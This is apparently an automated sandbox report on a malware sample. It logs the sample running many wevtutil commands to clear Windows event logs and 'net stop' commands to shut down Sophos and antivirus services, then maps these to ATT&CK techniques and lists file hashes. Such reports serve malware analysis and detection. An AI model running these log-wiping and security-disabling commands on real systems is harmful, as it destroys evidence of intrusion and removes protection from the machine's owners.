C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-StickyNotes/Admin"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-StickyNotes/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-StickyNotes/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-StorDiag/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-StorPort/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Subsys-Csr/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Subsys-SMSS/Operational"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Superfetch/Main"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Superfetch/StoreLog"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Sysprep/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-SystemHealthAgent/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-TCPIP/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-TSF-msctf/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-TSF-msctf/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-TSF-msutb/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-TSF-msutb/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-TZUtil/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-TaskScheduler/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-TaskScheduler/Diagnostic"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-TaskScheduler/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-TaskbarCPL/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-TerminalServices-ClientUSBDevices/Admin"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-TerminalServices-ClientUSBDevices/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-TerminalServices-ClientUSBDevices/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-TerminalServices-ClientUSBDevices/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-TerminalServices-LocalSessionManager/Admin"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-TerminalServices-LocalSessionManager/Analytic"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-TerminalServices-LocalSessionManager/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-TerminalServices-LocalSessionManager/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-TerminalServices-MediaRedirection/Analytic"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-TerminalServices-PnPDevices/Admin"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-TerminalServices-PnPDevices/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-TerminalServices-PnPDevices/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-TerminalServices-PnPDevices/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-TerminalServices-RDPClient/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-TerminalServices-RDPClient/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-TerminalServices-RDPClient/Operational"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-TerminalServices-RdpSoundDriver/Capture"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-TerminalServices-RdpSoundDriver/Playback"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-TerminalServices-RemoteConnectionManager/Admin"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-TerminalServices-RemoteConnectionManager/Analytic"4⤵
-
-
-
-
C:\Windows\system32\net.exenet stop "Sophos Agent"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "Sophos Agent"2⤵
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\net.exenet stop "Antivirus"1⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "Antivirus"2⤵
-
Network
MITRE ATT&CK Enterprise v6
Persistence
Hidden Files and Directories
1Registry Run Keys / Startup Folder
1Scheduled Task
1Defense Evasion
Bypass User Account Control
1Disabling Security Tools
1File Deletion
2Hidden Files and Directories
1Indicator Removal on Host
1Modify Registry
4Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
8KB
MD5bb9e1653713e09ba59650b83ab2870a9
SHA16c843ece9a16544a3e0111dceb9dad3d008b67d1
SHA2563b364b3dec1f5d8b237773a1f9dd33ec52bea2f7d6fab45bdde2df8ea0224b5a
SHA51233f51e24f5ed617f97fc4179c19e62b8d7ee53f08159eeb6c36b23084999d421379ddeabe2e109448ae06cc538c98d869ecfb828f08bcbc1541ad3f62bc3245b
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
Filesize
8KB
-
Filesize
1.4MB
-
Filesize
1.4MB
-
Filesize
1.4MB
-
Filesize
1.4MB
-
Filesize
1.4MB
-
Filesize
1.4MB
-
Filesize
1.4MB
